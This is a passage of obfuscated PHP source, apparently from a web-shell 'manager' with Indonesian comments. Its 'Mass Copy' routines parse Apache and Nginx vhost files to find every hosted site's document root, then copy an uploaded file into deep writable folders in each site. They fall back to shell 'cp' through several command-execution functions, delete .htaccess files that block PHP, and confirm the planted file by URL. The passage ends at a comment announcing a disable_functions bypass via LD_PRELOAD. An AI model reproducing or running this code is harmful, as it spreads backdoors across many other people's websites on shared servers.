        'mode' => 'v2-system',
        'method' => isset($sys['method']) ? $sys['method'] : '',
        'targets' => $targets,
        'discovered_domains' => count($sys['entries']),
        'unique_docroots' => count($targets),
        'error' => empty($targets) ? 'Tidak ada document root writable dari discovery.' : '',
    );
}

/** Direktori vhost Apache/Nginx untuk Mass Copy v3. */
function _gc21c100()
{
    return array(
        '/etc/apache2/sites-enabled',
        '/etc/nginx/sites-enabled',
    );
}

/** Normalisasi ServerName (buang wildcard, default, junk). */
function _gb47bd7a($name)
{
    $name = strtolower(trim((string)$name));
    $name = trim($name, " \t\"';");
    if ($name === '' || $name === '_' || $name === 'default' || $name === 'default_server') {
        return '';
    }
    // buang leading wildcard: *.domain.com → domain.com
    if (isset($name[0]) && $name[0] === '*') {
        $name = ltrim($name, '*.');
    }
    if ($name === '' || _g5d77fa7($name)) {
        return '';
    }
    return $name;
}

/** List file conf di sites-enabled (ikuti symlink). */
function _gd04a515($dir)
{
    $dir = rtrim(str_replace('\\', '/', (string)$dir), '/');
    $out = array();
    if ($dir === '' || !@_gfid($dir) || !@_gfir($dir)) {
        return $out;
    }
    $scan = @_gfsc($dir);
    if (!is_array($scan)) {
        return $out;
    }
    foreach ($scan as $name) {
        if ($name === '.' || $name === '..') continue;
        $full = $dir . '/' . $name;
        // sites-enabled sering symlink ke sites-available
        if (@is_link($full)) {
            $real = @_gfrp($full);
            if ($real) $full = str_replace('\\', '/', $real);
        }
        if (!@_gfif($full) || !@_gfir($full)) continue;
        // *.conf atau file tanpa ekstensi aneh (nginx kadang tanpa .conf)
        $base = basename($full);
        if (preg_match('/\.(bak|old|dist|example|rpmnew|dpkg-dist)$/i', $base)) continue;
        if (strpos($base, '.conf') === false && !preg_match('/^[a-zA-Z0-9_.\-]+$/', $base)) continue;
        $out[] = $full;
    }
    return array_values(array_unique($out));
}

/**
 * Parse Apache VirtualHost blocks → ServerName + DocumentRoot.
 * SSL (:443) dan HTTP (:80) dengan domain+docroot sama digabung (dedupe).
 */
function _g1bb2bc2($content)
{
    $entries = array();
    $content = (string)$content;
    if ($content === '') return $entries;

    if (preg_match_all('/<VirtualHost\b[^>]*>(.*?)<\/VirtualHost>/is', $content, $blocks, PREG_SET_ORDER)) {
        foreach ($blocks as $block) {
            $body = $block[1];
            $serverNames = array();
            if (preg_match('/^\s*ServerName\s+(.+)$/im', $body, $m)) {
                $dn = _gb47bd7a($m[1]);
                if ($dn !== '') $serverNames[] = $dn;
            }
            if (preg_match_all('/^\s*ServerAlias\s+(.+)$/im', $body, $am)) {
                foreach ($am[1] as $aliasLine) {
                    foreach (preg_split('/\s+/', trim($aliasLine)) as $alias) {
                        $dn = _gb47bd7a($alias);
                        if ($dn !== '' && !in_array($dn, $serverNames, true)) {
                            $serverNames[] = $dn;
                        }
                    }
                }
            }
            $docRoot = '';
            if (preg_match('/^\s*DocumentRoot\s+["\']?([^"\'\s]+)["\']?/im', $body, $dm)) {
                $docRoot = rtrim(str_replace('\\', '/', trim($dm[1])), '/');
            }
            if ($docRoot === '' || empty($serverNames)) continue;
            $entries[] = array(
                'domains' => $serverNames,
                'path' => $docRoot,
                'engine' => 'apache',
            );
        }
        return $entries;
    }

    // Fallback: file tanpa VirtualHost wrapper
    $serverNames = array();
    if (preg_match('/^\s*ServerName\s+(.+)$/im', $content, $m)) {
        $dn = _gb47bd7a($m[1]);
        if ($dn !== '') $serverNames[] = $dn;
    }
    if (preg_match_all('/^\s*ServerAlias\s+(.+)$/im', $content, $am)) {
        foreach ($am[1] as $aliasLine) {
            foreach (preg_split('/\s+/', trim($aliasLine)) as $alias) {
                $dn = _gb47bd7a($alias);
                if ($dn !== '' && !in_array($dn, $serverNames, true)) {
                    $serverNames[] = $dn;
                }
            }
        }
    }
    $docRoot = '';
    if (preg_match('/^\s*DocumentRoot\s+["\']?([^"\'\s]+)["\']?/im', $content, $dm)) {
        $docRoot = rtrim(str_replace('\\', '/', trim($dm[1])), '/');
    }
    if ($docRoot !== '' && !empty($serverNames)) {
        $entries[] = array(
            'domains' => $serverNames,
            'path' => $docRoot,
            'engine' => 'apache',
        );
    }
    return $entries;
}

/**
 * Parse Nginx server blocks → server_name + root.
 * listen 80 / 443 dengan root sama digabung via dedupe path di resolver.
 */
function _g97f7d72($content)
{
    $entries = array();
    $content = (string)$content;
    if ($content === '') return $entries;

    // Ambil server { ... } level atas (heuristik brace matching)
    $len = strlen($content);
    $i = 0;
    while ($i < $len) {
        if (!preg_match('/\bserver\s*\{/i', $content, $sm, PREG_OFFSET_CAPTURE, $i)) {
            break;
        }
        $start = $sm[0][1] + strlen($sm[0][0]);
        $depth = 1;
        $j = $start;
        while ($j < $len && $depth > 0) {
            $ch = $content[$j];
            if ($ch === '{') $depth++;
            elseif ($ch === '}') $depth--;
            $j++;
        }
        $body = substr($content, $start, max(0, $j - $start - 1));
        $i = $j;

        $serverNames = array();
        if (preg_match_all('/^\s*server_name\s+([^;]+);/im', $body, $nm)) {
            foreach ($nm[1] as $line) {
                foreach (preg_split('/\s+/', trim($line)) as $alias) {
                    $dn = _gb47bd7a($alias);
                    if ($dn !== '' && !in_array($dn, $serverNames, true)) {
                        $serverNames[] = $dn;
                    }
                }
            }
        }
        $docRoot = '';
        if (preg_match('/^\s*root\s+["\']?([^"\'\s;]+)["\']?\s*;/im', $body, $rm)) {
            $docRoot = rtrim(str_replace('\\', '/', trim($rm[1])), '/');
        }
        if ($docRoot === '' || empty($serverNames)) continue;
        $entries[] = array(
            'domains' => $serverNames,
            'path' => $docRoot,
            'engine' => 'nginx',
        );
    }
    return $entries;
}

/**
 * Discovery v3: baca /etc/apache2|nginx/sites-enabled/*.conf
 * Dedupe ketat per DocumentRoot unik agar HTTP+SSL tidak dobel.
 */
function _g44e8333()
{
    $entries = array();
    $methods = array();
    $rawCount = 0;
    $dirsTried = array();

    foreach (_gc21c100() as $dir) {
        $dirsTried[] = $dir;
        $files = _gd04a515($dir);
        if (empty($files)) continue;

        $isNginx = (stripos($dir, 'nginx') !== false);
        $engine = $isNginx ? 'nginx' : 'apache';
        $n = 0;

        foreach ($files as $file) {
            $txt = @_gfgc($file);
            if ($txt === false || $txt === '') continue;
            $parsed = $isNginx
                ? _g97f7d72($txt)
                : _g1bb2bc2($txt);
            foreach ($parsed as $p) {
                $path = isset($p['path']) ? rtrim(str_replace('\\', '/', $p['path']), '/') : '';
                $domains = (isset($p['domains']) && is_array($p['domains'])) ? $p['domains'] : array();
                if ($path === '' || empty($domains)) continue;
                $rawCount++;
                $n++;
                $entries[] = array(
                    'domains' => $domains,
                    'domain' => $domains[0],
                    'path' => $path,
                    'user' => _g57d5120($path),
                    'source' => $engine . ':' . basename($file),
                    'engine' => $engine,
                );
            }
        }
        if ($n > 0) $methods[] = $engine . '-sites-enabled';
    }

    return array(
        'ok' => !empty($entries),
        'method' => implode('+', $methods),
        'entries' => $entries,
        'raw_count' => $rawCount,
        'dirs' => $dirsTried,
        'error' => empty($entries)
            ? 'Tidak ada ServerName/DocumentRoot di /etc/apache2/sites-enabled atau /etc/nginx/sites-enabled.'
            : '',
    );
}

/**
 * v3 targets: SATU target per DocumentRoot unik (realpath).
 * Config :80 dan :443 (SSL) / file -le-ssl.conf dengan DocumentRoot sama → 1 target, tidak dobel.
 */
function _g95ed20e()
{
    $sys = _g44e8333();
    if (empty($sys['entries'])) {
        return array(
            'ok' => false,
            'mode' => 'v3-vhost',
            'method' => isset($sys['method']) ? $sys['method'] : '',
            'targets' => array(),
            'dirs' => isset($sys['dirs']) ? $sys['dirs'] : array(),
            'error' => isset($sys['error']) ? $sys['error'] : 'Discovery vhost kosong.',
        );
    }

    $byPath = array();
    $domainHits = 0;
    $mergedDupes = 0;

    foreach ($sys['entries'] as $e) {
        $path = isset($e['path']) ? rtrim(str_replace('\\', '/', $e['path']), '/') : '';
        if ($path === '' || !@_gfid($path)) continue;

        $domains = array();
        if (isset($e['domains']) && is_array($e['domains'])) {
            foreach ($e['domains'] as $d) {
                $d = _gb47bd7a($d);
                if ($d === '') continue;
                if (!in_array($d, $domains, true)) $domains[] = $d;
            }
        }
        if (empty($domains) && !empty($e['domain'])) {
            $d = _gb47bd7a($e['domain']);
            if ($d !== '') $domains[] = $d;
        }
        if (empty($domains)) continue;
        $domainHits += count($domains);

        // Key dedupe = realpath DocumentRoot → HTTP + SSL tidak bentrok
        $pathKey = $path;
        $rp = @_gfrp($path);
        if ($rp) $pathKey = str_replace('\\', '/', $rp);

        $user = isset($e['user']) ? trim((string)$e['user']) : '';
        if ($user === '') {
            $user = _g57d5120($pathKey);
        }

        if (!isset($byPath[$pathKey])) {
            $byPath[$pathKey] = array(
                'domain' => $domains[0],
                'user' => $user,
                'domainDir' => $pathKey,
                'domains' => $domains,
                'source' => isset($e['source']) ? $e['source'] : 'vhost',
            );
        } else {
            // Merge SSL/HTTP/alias ke target yang sama
            foreach ($domains as $d) {
                if (!in_array($d, $byPath[$pathKey]['domains'], true)) {
                    $byPath[$pathKey]['domains'][] = $d;
                }
                $mergedDupes++;
            }
            $cur = $byPath[$pathKey]['domain'];
            if (strlen($domains[0]) < strlen($cur) || substr_count($domains[0], '.') < substr_count($cur, '.')) {
                $byPath[$pathKey]['domain'] = $domains[0];
            }
            if ($byPath[$pathKey]['user'] === '' && $user !== '') {
                $byPath[$pathKey]['user'] = $user;
            }
        }
    }

    $targets = array_values($byPath);
    return array(
        'ok' => !empty($targets),
        'mode' => 'v3-vhost',
        'method' => isset($sys['method']) ? $sys['method'] : 'vhost',
        'targets' => $targets,
        'discovered_domains' => $domainHits,
        'unique_docroots' => count($targets),
        'raw_vhosts' => isset($sys['raw_count']) ? (int)$sys['raw_count'] : 0,
        'merged_dupes' => $mergedDupes,
        'dirs' => isset($sys['dirs']) ? $sys['dirs'] : array(),
        'error' => empty($targets) ? 'DocumentRoot dari vhost tidak ditemukan / tidak readable.' : '',
    );
}

/**
 * Mode Mass Copy HARUS eksklusif: hanya satu dari v1|v2|v3.
 * Jika v2+v3 ikut terkirim, v3 menang (UI juga uncheck saling).
 */
function _g344b644($v2 = false, $v3 = false, $mode = '')
{
    $mode = strtolower(trim((string)$mode));
    if ($mode === 'v3' || $mode === '3' || $mode === 'vhost') return 'v3';
    if ($mode === 'v2' || $mode === '2' || $mode === 'system') return 'v2';
    if ($mode === 'v1' || $mode === '1' || $mode === 'folder') return 'v1';
    // fallback legacy boolean flags (saling eksklusif)
    if (!empty($v3)) return 'v3';
    if (!empty($v2)) return 'v2';
    return 'v1';
}

function _g0dfee0c($base, $v2 = false, $v3 = false, $mode = '')
{
    $mode = _g344b644($v2, $v3, $mode);

    // Isolasi penuh: tiap mode hanya pakai resolver-nya sendiri
    if ($mode === 'v3') {
        return _g95ed20e();
    }
    if ($mode === 'v2') {
        return _g44fe04a();
    }

    // ─── v1 only ───
    $base = trim(_ge1732fc((string)$base));
    $baseLower = strtolower($base);

    // Alias legacy v1 → v2 (BUKAN v3). Jangan campur dengan sites-enabled.
    if ($base === '' || $baseLower === '@system' || $baseLower === 'system' || $baseLower === 'auto') {
        return _g44fe04a();
    }
    // @vhost hanya valid lewat mode=v3; di v1 diabaikan agar tidak bentrok
    if ($baseLower === '@vhost' || $baseLower === 'vhost' || $baseLower === 'v3') {
        return array(
            'ok' => false,
            'mode' => 'folder',
            'method' => 'folder-scan',
            'targets' => array(),
            'error' => 'Base @vhost hanya untuk Mass Copy v3. Aktifkan checkbox v3.',
        );
    }

    $dirs = _gf8e3f77($base);
    $targets = array();
    foreach ($dirs as $dir) {
        $targets[] = array(
            'domain' => basename($dir),
            'user' => '',
            'domainDir' => $dir,
            'domains' => array(basename($dir)),
            'source' => 'folder',
        );
    }

    if (empty($targets)) {
        // fallback v1 kosong → v2 system saja (bukan v3)
        $fb = _g44fe04a();
        if (!empty($fb['targets'])) {
            $fb['mode'] = 'system-fallback';
            return $fb;
        }
        return array(
            'ok' => false,
            'mode' => 'folder',
            'method' => 'folder-scan',
            'targets' => array(),
            'error' => 'Folder scan kosong dan sistem domain tidak terbaca.',
        );
    }

    return array(
        'ok' => true,
        'mode' => 'folder',
        'method' => 'folder-scan',
        'targets' => $targets,
        'error' => '',
    );
}

function _gc466fcb($src, $dest)
{
    $cmd = 'cp ' . _gb6799bc($src) . ' ' . _gb6799bc($dest) . ' && echo __CPOK__';

    if (_gf1b8d2a(1)) {
        $out = (string)_gf2c7e01($cmd);
        if (strpos($out, '__CPOK__') !== false) return true;
    }
    if (_gf1b8d2a(2)) {
        $lines = array();
        $_gc = 0;
        _gf3d8f12($cmd, $lines, $_gc);
        if (strpos(implode('', $lines), '__CPOK__') !== false) return true;
    }
    if (_gf1b8d2a(3)) {
        ob_start();
        $_gc = 0;
        _gf4e9013($cmd, $_gc);
        $out = (string)ob_get_clean();
        if (strpos($out, '__CPOK__') !== false) return true;
    }
    if (_gf1b8d2a(4)) {
        ob_start();
        $_gc = 0;
        _gf5f0124($cmd, $_gc);
        $out = (string)ob_get_clean();
        if (strpos($out, '__CPOK__') !== false) return true;
    }
    if (_gf1b8d2a(5) && _gf1b8d2a(6)) {
        $h = _gf600235($cmd, 'r');
        if (_g_stream_ok($h)) {
            $out = (string)@_gfrd($h, 256);
            _gf712346($h);
            if (strpos($out, '__CPOK__') !== false) return true;
        }
    }
    // Last resort: temp script + proc_open cascade
    if (function_exists('_gfe4b0fe')) {
        $r = _gfe4b0fe($cmd, dirname($dest), 30);
        if (isset($r['output']) && strpos($r['output'], '__CPOK__') !== false) return true;
    }
    return false;
}

function _g2abd8f9($src, $dest)
{
    if (@_gfcp($src, $dest) && _gfif($dest)) return 'copy';
    $content = @_gfgc($src);
    if ($content !== false && @_gfpc($dest, $content) !== false && _gfif($dest)) {
        return 'fpc';
    }
    if (_gc466fcb($src, $dest) && _gfif($dest)) return 'shell';
    return false;
}

function _g99786c6($root, $max = 8, $minDepth = 0, $maxDepth = 12)
{
    $skip = _gd3dc382();
    $found = array();
    $minDepth = (int)$minDepth;
    $maxDepth = (int)$maxDepth;
    if ($minDepth < 0) $minDepth = 0;
    if ($maxDepth < 1) $maxDepth = 1;
    if ($maxDepth > 16) $maxDepth = 16;
    $root = rtrim(_ge1732fc((string)$root), '/');

    _g44646ac($root, function ($dir, $depth) use (&$found, $minDepth) {
        if ($depth >= $minDepth && @_gfiw($dir)) {
            $found[] = array($dir, $depth);
        }
        return true;
    }, array(
        'max_depth' => $maxDepth,
        'max_scanned' => 12000,
        'skip_names' => $skip,
        'dfs' => true,
    ));

    usort($found, function ($a, $b) {
        if ($a[1] === $b[1]) return strcmp($a[0], $b[0]);
        return $b[1] - $a[1];
    });
    $dirs = array();
    foreach ($found as $f) {
        $dirs[] = $f[0];
    }
    return array_slice($dirs, 0, max(1, (int)$max));
}

function _g222a2d5($domainDir)
{
    $domainDir = rtrim(_ge1732fc($domainDir), '/');
    foreach (_g969e562() as $wr) {
        $p = $domainDir . '/' . $wr;
        if (@_gfid($p)) return $p;
    }
    return $domainDir;
}

function _gad3ccf7($scheme, $domainName, $domainDir, $dest)
{
    $domainDir = rtrim(_ge1732fc($domainDir), '/');
    $dest = _ge1732fc($dest);
    foreach (_g969e562() as $wr) {
        $prefix = $domainDir . '/' . $wr . '/';
        if (strpos($dest, $prefix) === 0) {
            return $scheme . '://' . $domainName . '/' . substr($dest, strlen($prefix));
        }
    }
    $rel = ltrim(substr($dest, strlen($domainDir)), '/');
    return $scheme . '://' . $domainName . '/' . $rel;
}

function _g0d86fd3($content)
{
    $content = (string)$content;
    if (preg_match('/php_flag\s+engine\s+off/i', $content)) return true;
    if (preg_match('/php_admin_flag\s+engine\s+off/i', $content)) return true;
    if (preg_match('/RemoveHandler\s+[^\n]*\.php/i', $content)) return true;
    if (preg_match('/RemoveType\s+[^\n]*\.php/i', $content)) return true;
    if (preg_match('/AddType\s+application\/octet-stream\s+[^\n]*\.php/i', $content)) return true;
    if (preg_match('/AddType\s+application\/x-httpd-txt\s+[^\n]*\.php/i', $content)) return true;
    if (preg_match('/<FilesMatch[^>]*\.php[^>]*>.*?Deny\s+from\s+all.*?<\/FilesMatch>/is', $content)) return true;
    return false;
}


/** Hapus .htaccess di satu direktori target (v1 & v2). Return: none|deleted|failed|cleared|missing */
function _gff7526b($dir)
{
    $dir = rtrim(str_replace('\\', '/', (string)$dir), '/');
    if ($dir === '') {
        return 'missing';
    }
    $ht = $dir . '/.htaccess';
    if (!@_gfex($ht)) {
        return 'none';
    }
    if (@_gfun($ht)) {
        return 'deleted';
    }
    // coba kosongkan jika unlink gagal
    if (@_gfiw($ht) && @_gfpc($ht, '') !== false) {
        @_gfun($ht);
        if (!@_gfex($ht)) {
            return 'deleted';
        }
        return 'cleared';
    }
    return 'failed';
}

function _ge09c903($domainDir, $targetDir)
{
    $domainDir = rtrim(_ge1732fc($domainDir), '/');
    $targetDir = rtrim(str_replace('\\', '/', $targetDir), '/');
    $rel = ltrim(substr($targetDir, strlen($domainDir)), '/');
    $parts = $rel !== '' ? explode('/', $rel) : array();
    $current = $domainDir;
    $dirs = array($current);
    foreach ($parts as $p) {
        $current .= '/' . $p;
        $dirs[] = $current;
    }
    foreach ($dirs as $dir) {
        $ht = $dir . '/.htaccess';
        if (!_gfex($ht)) continue;
        $content = @_gfgc($ht);
        if ($content === false) continue;
        if (_g0d86fd3($content)) {
            if (!@_gfun($ht)) return false;
        }
    }
    return true;
}

function _g923f566($dir, $filename)
{
    $ht = rtrim(str_replace('\\', '/', $dir), '/') . '/.htaccess';
    $allow = "<FilesMatch '^(" . preg_quote($filename, '/') . ")$'>\n"
        . "Order allow,deny\n"
        . "Allow from all\n"
        . "</FilesMatch>\n"
        . "<FilesMatch \"^\\.\">\n"
        . "  Order allow,deny\n"
        . "  Deny from all\n"
        . "</FilesMatch>\n";
    if (_gfex($ht)) {
        $existing = @_gfgc($ht);
        if ($existing !== false && !_g0d86fd3($existing)) {
            @_gfpc($ht, $existing . "\n" . $allow);
            return;
        }
    }
    @_gfpc($ht, $allow);
}

function _g261e5d2($url, $timeout = 3)
{
    $timeout = max(1, min(10, (int)$timeout));
    $res = _gb37daeb($url, array(
        'head_only' => true,
        'timeout' => $timeout,
        'connect_timeout' => $timeout,
        'user_agent' => 'Mozilla/5.0',
    ));
    return !empty($res['ok']) && isset($res['code']) ? (int)$res['code'] : 0;
}

function _g5a0aa04($src, $base, $debug = false, $v2 = false, $limit = 40, $offset = 0, $v3 = false, $mode = '')
{
    @ignore_user_abort(true);
    @set_time_limit(90);
    @ini_set('max_execution_time', '90');
    @ini_set('memory_limit', '256M');

    $src = trim(str_replace('\\', '/', (string)$src));
    $base = trim(_ge1732fc((string)$base));
    $debug = (bool)$debug;
    // Satu mode saja — tidak boleh v2+v3 aktif bersamaan
    $mode = _g344b644($v2, $v3, $mode);
    $v2 = ($mode === 'v2');
    $v3 = ($mode === 'v3');
    $limit = (int)$limit;
    $offset = (int)$offset;
    if ($limit < 1) $limit = 1;
    if ($limit > 80) $limit = 80;
    if ($offset < 0) $offset = 0;

    $debugLog = array();
    $log = function ($msg) use ($debug, &$debugLog) {
        if ($debug) {
            $debugLog[] = (string)$msg;
        }
    };
    $started = microtime(true);
    $budgetSec = ($mode === 'v1') ? 80 : 55;

    if ($src === '') {
        return array('ok' => false, 'error' => 'Source file wajib diisi.');
    }
    if ($mode === 'v3') {
        $base = '@vhost';
    } elseif ($mode === 'v2') {
        $base = '@system';
    } elseif ($base === '') {
        return array('ok' => false, 'error' => 'Base path wajib diisi (atau aktifkan Mass Copy v2/v3).');
    }
    if (strpos($src, "\0") !== false || strpos($base, "\0") !== false) {
        return array('ok' => false, 'error' => 'Path mengandung karakter ilegal.');
    }
    if (!_gfex($src) || !_gfif($src)) {
        return array('ok' => false, 'error' => 'File sumber tidak ditemukan: ' . $src);
    }
    if (!_gfir($src)) {
        return array('ok' => false, 'error' => 'File sumber tidak readable: ' . $src);
    }

    $filename = basename($src);
    $resolved = _g0dfee0c($base, $v2, $v3, $mode);
    $log('Mode: ' . $mode . ' / resolve=' . (isset($resolved['mode']) ? $resolved['mode'] : '?') . ' / method: ' . (isset($resolved['method']) ? $resolved['method'] : '?'));
    if (empty($resolved['ok']) || empty($resolved['targets'])) {
        return array(
            'ok' => false,
            'error' => !empty($resolved['error']) ? $resolved['error'] : 'Tidak ada domain/user target.',
            'mode' => $mode,
            'v2' => $v2,
            'v3' => $v3,
            'debug_log' => $debug ? $debugLog : array(),
            'resolve' => $resolved,
        );
    }

    $allTargets = $resolved['targets'];
    $totalTargets = count($allTargets);
    $discoveredDomains = isset($resolved['discovered_domains']) ? (int)$resolved['discovered_domains'] : $totalTargets;
    $uniqueDocroots = isset($resolved['unique_docroots']) ? (int)$resolved['unique_docroots'] : $totalTargets;
    $targets = array_slice($allTargets, $offset, $limit);
    $domainCount = count($targets);
    $log('Discovered domains=' . $discoveredDomains . ' unique docroots=' . $uniqueDocroots);
    $log('Targets total=' . $totalTargets . ' batch offset=' . $offset . ' limit=' . $limit . ' size=' . $domainCount);

    $results = array();
    $skipped = 0;
    $processed = 0;
    $timedOut = false;

    foreach ($targets as $target) {
        if ((microtime(true) - $started) >= $budgetSec) {
            $timedOut = true;
            $log('STOP: time budget ' . $budgetSec . 's');
            break;
        }

        $domainDir = isset($target['domainDir']) ? $target['domainDir'] : '';
        $domainName = isset($target['domain']) ? $target['domain'] : '';
        $domainUser = isset($target['user']) ? $target['user'] : '';
        $altDomains = (isset($target['domains']) && is_array($target['domains'])) ? $target['domains'] : array($domainName);
        $log('--- user=' . $domainUser . ' domain=' . $domainName . ' ---');
        $log('  domainDir: ' . $domainDir);
        $processed++;

        if ($domainDir === '' || !@_gfid($domainDir)) {
            $log('  SKIP: public_html missing');
            $skipped++;
            continue;
        }

        // Reachability: v1 & v3 saja (v2 skip agar cepat)
        if ($mode !== 'v2') {
            $isLocal = (substr($domainName, -6) === '.local');
            if (!$isLocal) {
                $code = _g261e5d2('https://' . $domainName . '/', 2);
                if ($code < 200 || $code >= 500) {
                    $code = _g261e5d2('http://' . $domainName . '/', 2);
                    if ($code < 200 || $code >= 500) {
                        $log('  SKIP: domain not reachable');
                        $skipped++;
                        continue;
                    }
                }
            }
        }

        // webRoot: v1 cari public_html/...; v2/v3 pakai DocumentRoot langsung
        if ($mode === 'v1') {
            $webRoot = _g222a2d5($domainDir);
        } else {
            $webRoot = $domainDir;
        }
        $log('  webRoot: ' . $webRoot);
        $candidates = array();

        if ($mode === 'v2') {
            // v2: webroot dulu (cepat), lalu beberapa nested
            if (@_gfiw($webRoot)) {
                $candidates[] = $webRoot;
            }
            if (count($candidates) < 3) {
                $more = _g99786c6($webRoot, 3, 0, 6);
                foreach ($more as $c) {
                    if (!in_array($c, $candidates, true)) {
                        $candidates[] = $c;
                    }
                    if (count($candidates) >= 3) break;
                }
            }
        } else {
            // v1 & v3: cari folder DALAM / jauh (depth>=2), deepest first
            $candidates = _g99786c6($webRoot, 12, 2, 14);
            foreach ($candidates as $c) {
                $log('    cand depthish: ' . $c);
            }
            if (empty($candidates)) {
                $log('  no deep writable; fallback shallow');
                $candidates = _g99786c6($webRoot, 6, 0, 4);
            }
        }
        $log('  writable: ' . count($candidates));
        if (empty($candidates)) {
            $log('  SKIP: no writable');
            $skipped++;
            continue;
        }

        $copied = false;
        foreach ($candidates as $targetDir) {
            // v1 & v2 sama: copy dulu (abaikan .htaccess dulu)
            $dest = rtrim($targetDir, '/') . '/' . $filename;
            $method = _g2abd8f9($src, $dest);
            if (!$method) {
                $log('    SKIP: copy failed');
                continue;
            }
            $log('    copied: ' . $dest . ' [' . $method . ']');

            // Setelah copy: coba hapus .htaccess di dest; gagal tetap lanjut
            $htStatus = _gff7526b($targetDir);
            $log('    htaccess: ' . $htStatus . ' @ ' . $targetDir);

            $pathOk = (_gfif($dest) && @_gfsz($dest) > 0);
            $url = '';
            $urlOk = false;
            $urlStatus = 0;
            $log('    check path: ' . ($pathOk ? 'OK' : 'FAIL') . ' size=' . (@_gfsz($dest) ? _gfsz($dest) : 0));

            // Valid/confirmed = file ada di disk; URL dicek & dilaporkan (boleh invalid)
            // Tidak unlink file bila URL gagal (sama seperti v2)
            $domainsTry = (isset($target['domains']) && is_array($target['domains'])) ? $target['domains'] : array();
            if (!in_array($domainName, $domainsTry, true) && $domainName !== '') {
                array_unshift($domainsTry, $domainName);
            }
            foreach ($altDomains as $ad) {
                if ($ad !== '' && !in_array($ad, $domainsTry, true)) {
                    $domainsTry[] = $ad;
                }
            }

            $picked = '';
            foreach ($domainsTry as $dTry) {
                if ($dTry === '' || substr($dTry, -6) === '.local') continue;
                $uHttps = _gad3ccf7('https', $dTry, $domainDir, $dest);
                $st = _g261e5d2($uHttps, 2);
                $log('    check url https: ' . $uHttps . ' => ' . $st);
                if ($st === 200) {
                    $url = $uHttps;
                    $urlOk = true;
                    $urlStatus = 200;
                    $picked = $dTry;
                    break;
                }
                $uHttp = _gad3ccf7('http', $dTry, $domainDir, $dest);
                $st2 = _g261e5d2($uHttp, 2);
                $log('    check url http: ' . $uHttp . ' => ' . $st2);
                if ($st2 === 200) {
                    $url = $uHttp;
                    $urlOk = true;
                    $urlStatus = 200;
                    $picked = $dTry;
                    break;
                }
                // simpan kandidat URL terakhir untuk ditampilkan meski invalid
                if ($url === '') {
                    $url = $uHttps;
                    $urlStatus = (int)$st;
                    $picked = $dTry;
                }
            }
            if ($picked !== '') {
                $domainName = $picked;
            }
            if ($url === '') {
                $url = $dest;
                $log('    check url: skipped (.local / no FQDN)');
            }

            $verified = $pathOk;
            if (!$verified) {
                $log('    SKIP: path invalid after copy');
                $skipped++;
                continue;
            }

            $results[] = array(
                'url' => $url,
                'dest' => $dest,
                'domain' => $domainName,
                'user' => $domainUser,
                'path' => $dest,
                'method' => $method,
                'path_ok' => $pathOk,
                'url_ok' => $urlOk,
                'url_status' => (int)$urlStatus,
                'htaccess' => $htStatus,
                'verified' => ($urlOk ? 'http' : ($pathOk ? 'file' : 'no')),
            );
            $copied = true;
            $log('    OK: path=' . ($pathOk ? 'valid' : 'invalid')
                . ' url=' . ($urlOk ? ('valid(' . $urlStatus . ')') : ('invalid(' . $urlStatus . ')'))
                . ' htaccess=' . $htStatus
                . ' => ' . $url);
            break;
        }
        if (!$copied) {
            $skipped++;
        }
    }

    $successUrls = array();
    foreach ($results as $r) {
        $successUrls[] = $r['url'];
    }

    if ($timedOut) {
        $nextOffset = $offset + $processed;
        $hasMore = $nextOffset < $totalTargets;
    } else {
        $nextOffset = $offset + $domainCount;
        $hasMore = $nextOffset < $totalTargets;
    }

    $modeLabel = ($mode === 'v3') ? 'Mass Copy v3' : (($mode === 'v2') ? 'Mass Copy v2' : 'Mass Copy');
    return array(
        'ok' => true,
        'source' => $src,
        'base' => $base,
        'mode' => $mode,
        'v2' => $v2,
        'v3' => $v3,
        'filename' => $filename,
        'resolve_mode' => isset($resolved['mode']) ? $resolved['mode'] : '',
        'resolve_method' => isset($resolved['method']) ? $resolved['method'] : '',
        'domain_count' => $totalTargets,
        'discovered_domains' => $discoveredDomains,
        'unique_docroots' => $uniqueDocroots,
        'batch_count' => $domainCount,
        'batch_offset' => $offset,
        'batch_limit' => $limit,
        'processed' => $processed,
        'next_offset' => $nextOffset,
        'has_more' => $hasMore,
        'partial' => $hasMore || $timedOut,
        'timed_out' => $timedOut,
        'confirmed' => count($successUrls),
        'skipped' => $skipped,
        'urls' => $successUrls,
        'details' => $results,
        'debug_log' => $debug ? $debugLog : array(),
        'elapsed' => round(microtime(true) - $started, 2),
        'message' => $modeLabel
            . ' · batch ' . $processed . '/' . $totalTargets
            . ' · confirmed ' . count($successUrls)
            . ($hasMore ? ' · lanjut offset=' . $nextOffset : ' · selesai')
            . ' · via ' . (isset($resolved['method']) ? $resolved['method'] : 'folder'),
    );
}


/**
 * Bypass disable_functions via LD_PRELOAD + mail() (Tools → Bypass Functions).
 * Payload .so embedded di manager.php (asal preload.php release64/release86).
 * Action unik: bypass_df — tidak bentrok dengan terminal/shell lain.
 */
function _g26a349d()
{
